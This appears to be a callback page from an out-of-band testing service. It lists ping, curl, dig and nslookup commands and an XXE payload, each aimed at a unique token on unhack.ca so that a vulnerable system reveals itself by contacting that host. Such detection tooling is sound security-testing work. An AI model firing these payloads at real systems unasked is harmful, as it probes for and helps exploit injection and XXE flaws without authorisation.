$ ping -c1 -p 00d47d5a900107bc46e8f6a66b84fb00 unhack.ca
 

$ curl http://unhack.ca/p/d47d5a900107bc46e8f6a66b84fb
 

$ dig d47d5a900107bc46e8f6a66b84fb @unhack.ca
 

$ dig d47d5a900107bc46e8f6a66b84fb.ns.unhack.ca
 

C:\> nslookup d47d5a900107bc46e8f6a66b84fb unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d47d5a900107bc46e8f6a66b84fb">]>
    <foo>&xxe;</foo>